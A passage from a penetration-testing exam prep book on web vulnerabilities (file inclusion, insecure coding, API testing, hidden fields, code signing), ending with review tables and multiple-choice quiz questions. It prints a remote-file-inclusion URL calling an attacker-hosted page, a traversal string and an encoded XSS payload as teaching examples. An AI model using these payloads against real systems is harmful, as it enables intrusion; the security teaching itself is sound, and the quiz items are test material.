A local file inclusion (LFI) vulnerability occurs when a web application allows a user to submit input into files or upload files to the server. Successful exploitation could allow an attacker to read and (in some cases) execute files on the victim’s system. Some LFI vulnerabilities can be critical if a web application is running with high privileges or as root. Such vulnerabilities can allow attackers to gain access to sensitive information and can even enable them to execute arbitrary commands in the affected system.

Figure 6-24 (in the previous section) shows an example of a directory traversal vulnerability, but the same application also has an LFI vulnerability: The /etc/passwd file can be shown in the application page due to an LFI flaw.

Image

Remote File Inclusion Vulnerabilities

Remote file inclusion (RFI) vulnerabilities are similar to LFI vulnerabilities. However, when an attacker exploits an RFI vulnerability, instead of accessing a file on the victim, the attacker is able to execute code hosted on his or her own system (the attacking system).

Note

RFI vulnerabilities are trivial to exploit; however, they are less common than LFI vulnerabilities.

Figure 6-25 shows an example of exploiting a remote file inclusion vulnerability.

A screenshot of the DVWA web application depicts exploiting a remote file inclusion vulnerability.
FIGURE 6-25 Exploiting a Remote File Inclusion Vulnerability

The attacker enters the following URL to perform the attack in Figure 6-25:

http://192.168.78.8:66/vulnerabilities/fi/?page=http://malicious.
h4cker.org/malware.html

In this example, the attacker’s website (http://malicious.h4cker.org/malware.html) is likely to host malware or malicious scripts that can be executed when the victim visits that site.

Note

The URL http://malicious.h4cker.org/malware.html is a real URL, but it is not a malicious site. If you connect to it in a web browser, you will see the same message that you see in Figure 6-25.

Exploiting Insecure Code Practices

The following sections cover several insecure code practices that attackers can exploit and that you can leverage during a penetration testing engagement.

Image

Comments in Source Code

Often developers include information in source code that could provide too much information and might be leveraged by an attacker. For example, they might provide details about a system password, API credentials, or other sensitive information that an attacker could find and use.

Note

MITRE created a standard called the Common Weakness Enumeration (CWE). The CWE lists identifiers that are given to security malpractices or the underlying weaknesses that introduce vulnerabilities. CWE-615, “Information Exposure Through Comments,” covers the flaw described in this section. You can obtain details about CWE-615 at https://cwe.mitre.org/data/definitions/615.html.

Image

Lack of Error Handling and Overly Verbose Error Handling

Improper error handling is a type of weakness and security malpractice that can provide information to an attacker to help him or her perform additional attacks on the targeted system. Error messages such as error codes, database dumps, and stack traces can provide valuable information to an attacker, such as information about potential flaws in the applications that could be further exploited.

A best practice is to handle errors messages according to a well-thought-out scheme that provides a meaningful error message to the user, diagnostic information to developers and support staff, and no useful information to an attacker.

Tip

OWASP provides detailed examples of error codes that can be leverage by an attacker at https://www.owasp.org/index.php/Testing_for_Error_Code_%28OTG-ERR-001%29. OWASP also provides additional guidance about improper error handling at https://www.owasp.org/index.php/Improper_Error_Handling.

Image

Hard-Coded Credentials

Hard-coded credentials are catastrophic flaws that an attacker can leverage to completely compromise an application or the underlying system. MITRE covers this malpractice (or weakness) in CWE-798. You can obtain detailed information about CWE-798 at https://cwe.mitre.org/data/definitions/798.html.

Image

Race Conditions

A race condition occurs when a system or an application attempts to perform two or more operations at the same time. However, due to the nature of such a system or application, the operations must be done in the proper sequence in order to be done correctly. When an attacker exploits such a vulnerability, he or she has a small window of time between when a security control takes effect and when the attack is performed. The attack complexity in race conditions is very high. In other words, race conditions are very difficult to exploit.

Note

Race conditions are also referred to as time of check to time of use (TOCTOU) attacks.

An example of a race condition is a security management system pushing a configuration to a security device (such as a firewall or an intrusion prevention system) such that the process rebuilds access control lists and rules from the system. An attacker may have a very small time window in which it could bypass those security controls until they take effect on the managed device.

Image

Unprotected APIs

Application programming interfaces (APIs) are used everywhere today. A large number of modern application use some type of APIs to allow other systems to interact with the application. Unfortunately, many APIs lack adequate controls and are difficult to monitor. The breadth and complexity of APIs also make it difficult to automate effective security testing. There are a few methods or technologies behind modern APIs:

  • Simple Object Access Protocol (SOAP): This standards-based web services access protocol was originally developed by Microsoft and has been used by numerous legacy applications for many years. SOAP exclusively uses XML to provide API services. XML-based specifications are governed by XML Schema Definition (XSD) documents. SOAP was originally created to replace older solutions such as the Distributed Component Object Model (DCOM) and Common Object Request Broker Architecture (CORBA). You can find the latest SOAP specifications at https://www.w3.org/TR/soap.

  • Representational State Transfer (REST): This API standard is easier to use than SOAP. It uses JSON instead of XML, and it uses standards such as Swagger and the OpenAPI Specification (https://www.openapis.org) for ease of documentation and to encourage adoption.

  • GraphQL: GraphQL is a query language for APIs that provides many developer tools. GraphQL is now used for many mobile applications and online dashboards. Many different languages support GraphQL. You can learn more about GraphQL at https://graphql.org/code.

Note

SOAP and REST use the HTTP protocol. However, SOAP limits itself to a more strict set of API messaging patterns than REST.

An API often provides a roadmap that describes the underlying implementation of an application. This roadmap can give penetration testers valuable clues about attack vectors they might otherwise overlook. API documentation can provide a great level of detail that can be very valuable to a penetration tester. API documentation can include the following:

  • Swagger (OpenAPI): Swagger is a modern framework of API documentation and development that is the basis of the OpenAPI Specification (OAS). Additional information about Swagger can be obtained at https://swagger.io. The OAS specification is available at https://github.com/OAI/OpenAPI-Specification.

  • Web Services Description Language (WSDL) documents: WSDL is an XML-based language that is used to document the functionality of a web service. The WSDL specification can be accessed at https://www.w3.org/TR/wsdl20-primer.

  • Web Application Description Language (WADL) documents: WADL is an XML-based language for describing web applications. The WADL specification can be obtained from https://www.w3.org/Submission/wadl.

When performing pen testing against an API, it is important to collect full requests by using a proxy (for example, Paros Proxy, Burp Suite, OWASP ZAP). You will learn more about these tools in Chapter 9. It is important to make sure that the proxy is able to collect full API requests and not just URLs because REST, SOAP, and other API services use more than just GET parameters.

When you are analyzing the collected requests, look for nonstandard parameters and for abnormal HTTP headers. You should also determine whether a URL segment has a repeating pattern across other URLs. These patterns can include a number or an ID, dates, and other valuable information. Inspect the results and look for structured parameter values in JSON, XML, or even nonstandard structures.

Tip

If you notice that a URL segment has many values, it may be because it is a parameter and not a folder or a directory in the web server. For example, if the URL http://web.h4cker.org/s/abcd/page repeats with different values for abcd (such as http://web.h4cker.org/s/dead/page or http://web.h4cker.org/s/beef/page), those changing values are definitely API parameters.

You can also use fuzzing to find API vulnerabilities (or vulnerabilities in any application or system). According to OWASP, “Fuzz testing or Fuzzing is a black box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.”

Note

Refer to the OWASP page https://www.owasp.org/index.php/Fuzzing to learn about the different types of fuzzing techniques to use with protocols, applications, and other systems. In Chapter 9 you will see examples of fuzzers and how to use them to find vulnerabilities.

When testing APIs, you should always analyze the collected requests to optimize fuzzing. After you find potential parameters to fuzz, determine the valid and invalid values that you want to send to the application. Of course, fuzzing should focus on invalid values (for example, sending a GET or PUT with large values or special characters, Unicode, and so on). In Chapter 9 you will learn about tools like Radamsa (https://gitlab.com/akihe/radamsa) that can be used to create fuzzing parameters for testing applications, protocols, and more.

Tip

OWASP has a REST Security Cheat Sheet that provides numerous best practices on how to secure RESTful (REST) APIs. See https://www.owasp.org/index.php/REST_Security_Cheat_Sheet.

The following are several general best practices and recommendations for securing APIs:

  • Secure API services to only provide HTTPS endpoints with a strong version of TLS.

  • Validate parameters in the application and sanitize incoming data from API clients.

  • Explicitly scan for common attack signatures; injection attacks often betray themselves by following common patterns.

  • Use strong authentication and authorization standards.

  • Use reputable and standard libraries to create the APIs.

  • Segment API implementation and API security into distinct tiers; doing so frees up the API developer to focus completely on the application domain.

  • Identify what data should be publicly available and what is sensitive information.

  • If possible, have a security expert do the API code verification.

  • Make internal API documentation mandatory.

  • Avoid discussing company API development (or any other application development) on public forums.

Note

CWE-227, “API Abuse,” covers unsecured APIs. For detailed information about CWE-227, see https://cwe.mitre.org/data/definitions/227.html.

Hidden Elements

Image

Web application parameter tampering attacks can be executed by manipulating parameters exchanged between the web client and the web server in order to modify application data. This could be achieved by manipulating cookies (as discussed earlier in this chapter) and by abusing hidden form fields.

It might be possible to tamper the values stored by a web application in hidden form fields. Let’s take a look at an example of a hidden HTML form field. Suppose that the following is part of an e-commerce site selling merchandise to online customers:

<input type="hidden" id="123" name="price" value="100.00">

In the hidden field shown in this example, an attacker could potentially edit the value information to lower the price of an item. Not all hidden fields are bad; in some cases they are useful for the application, and they can even be used to protect against CSRF attacks.

Lack of Code Signing

Image

Code signing (or image signing) involves adding a digital signature to software and applications to verify that the application, operating system, or any software has not been modified since it was signed. Many applications are still not digitally signed these days, which means attackers can easily modify and potentially impersonate legitimate applications.

Code signing is similar to the process used for SSL/TLS certificates. A key pair (one public key and one private key) identifies and authenticates the software engineer (developer) and his or her code. This is done by employing trusted certificate authorities (CAs). Developers sign their applications and libraries using their private key. If the software or library is modified after signing, the public key in a system will not be able to verify the authenticity of the developer’s private key signature.

Subresource Integrity (SRI) is a security feature that allows you to provide a hash of a file fetch by a web browser (client). SRI verifies file integrity and ensures that files are delivered without any tampering or manipulation by an attacker.

Exam Preparation Tasks

As mentioned in the section “How to Use This Book” in the Introduction, you have a couple of choices for exam preparation: the exercises here, Chapter 11, “Final Preparation,” and the exam simulation questions in the Pearson Test Prep software online.

Review All Key Topics

Review the most important topics in this chapter, noted with the Key Topics icon in the outer margin of the page. Table 6-3 lists these key topics and the page number on which each is found.

Image

Table 6-3 Key Topics for Chapter 6

Key Topic Element

Description

Page Number

Paragraph

Understanding what web sessions are and how they are relevant for web application penetration testing

221

Paragraph

Defining code injection vulnerabilities

227

Paragraph

Exploiting SQL injection vulnerabilities

228

Figure 6-11

Demonstrating a basic SQL injection attack

230

Paragraph

Understanding SQL injection categories

232

Paragraph

Understanding SQL injection mitigations

240

Paragraph

HTML injection vulnerabilities

241

Paragraph

Command injection vulnerabilities

241

Paragraph

Exploring credential brute forcing

243

Paragraph

Understanding how weak credentials can be abused

243

Table 6-2

Weak and recommended cryptographic algorithms

243

Paragraph

Understanding session hijacking

245

Paragraph

Understanding redirect attacks and how to exploit them

249

Paragraph

Taking advantage of default credentials in a penetration testing engagement

249

Paragraph

Exploiting Kerberos vulnerabilities

250

Paragraph

Understanding parameter pollution and related vulnerabilities

250

Paragraph

Exploiting Insecure Direct Object Reference vulnerabilities

251

Paragraph

Exploiting reflected XSS

253

Paragraph

Understanding stored XSS

255

Paragraph

Understanding DOM-based XSS

256

Paragraph

Understanding DOM-based unsecured applications

257

Paragraph

Understanding XSS evasion techniques

257

Paragraph

Defining XSS mitigations

258

Paragraph

Defining cross-site request forgery (CSRF or XSRF) attacks

260

Paragraph

Defining clickjacking

261

Paragraph

Exploiting directory traversal vulnerabilities

262

Paragraph

Understanding cookie manipulation attacks

263

Paragraph

Defining local file inclusion vulnerabilities

264

Paragraph

Remote file inclusion vulnerabilities

264

Paragraph

Avoiding unnecessary information in comments in source code

265

Paragraph

Understanding the risks of lack of error handling and overly verbose error handling

266

Paragraph

Understanding the risks of hard-coded credentials

266

Paragraph

Understanding the risks of unprotected APIs

267

Paragraph

Understanding the risks of hidden web form and application elements

270

Paragraph

Understanding the risks of lack of code signing

270

Define Key Terms

Define the following key terms from this chapter and check your answers in the glossary:

HTTP proxies

web session

SQL injection (SQLi)

in-band SQL injection

out-of-band SQL injection

blind (or inferential) SQL injection

HTML injection

command injection

credentials brute-force attack

HTTP parameter pollution (HPP)

Insecure Direct Object Reference

cross-site scripting (XSS)

cross-site request forgery (CSRF or XSRF)

clickjacking

race condition

Q&A

The answers to these questions appear in Appendix A. For more practice with exam format questions, use the Pearson Test Prep software online.

1. Which of the following is a black-box testing technique that consists of sending malformed/semi-malformed data injection in an automated fashion?

  1. Fuzzing

  2. Man-in-the-middle

  3. Bursting

  4. Brute forcing

2. What type of security malpractice is shown in the following example?

<input type="hidden" id="123" name="price" value="100.00">
  1. Invalid HTML signing

  2. Insecure hidden form elements

  3. Weak ID

  4. Weak form values

3. What type of attack is shown in the following URL?

http://portal.h4cker.org/%2e%2e%5c%2e%2e%2f%2e%2e%5c%2e%2e%5c/
omar_file.txt
  1. Directory (path) traversal

  2. URL encoding for SQL injection

  3. Cookie brute-force attack

  4. Session manipulation

4. Which type of attack is shown in the following example?

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53
My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9
yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRo
PSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRle
HQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="
type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  1. XSS

  2. SQL injection via embed tags

  3. HTML script access

  4. Buffer overflow exploitation using shell code injection

5. Which of the following occurs when a user who is authenticated by an application through a cookie saved in the browser unwittingly sends an HTTP request to a site that trusts the user, subsequently triggering an unwanted action?

  1. Fuzzing

  2. Reflected XSS

  3. Session fixation

  4. CSRF

6. Which of the following is true about DOM-based XSS?

  1. In DOM-based XSS, the payload is never sent to the server. Instead, the payload is only processed by the web client (browser).

  2. In DOM-based XSS, the payload can be sent to the server or the client.

  3. In DOM-based XSS, the payload is never sent to the client. Instead, the payload is only processed by the web server.

  4. None of the above is true.

7. Which of the following is true about reflected XSS?

  1. In reflected XSS, the payload is never sent to the server; this is similar to a blind SQL injection.

  2. Reflected XSS attacks are persistent.

  3. Reflected XSS attacks are not persistent.

  4. Reflected XSS attacks can be found by fuzzing a database.

8. You can find XSS vulnerabilities in which of the following?

  1. Search fields that echo a search string back to the user

  2. HTTP headers

  3. Input fields that echo user data

  4. All of the above

9. PHPSESSID and JSESSIONID can be used to do what?

  1. Fingerprint an operating system

  2. Fingerprint web application development frameworks

  3. Fingerprint open ports in applications

  4. Fingerprint usernames and passwords

10. Which of the following is a hashing algorithm that should be avoided?

  1. MD5

  2. RC4

  3. DES

  4. RSA-1024

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.136.22.50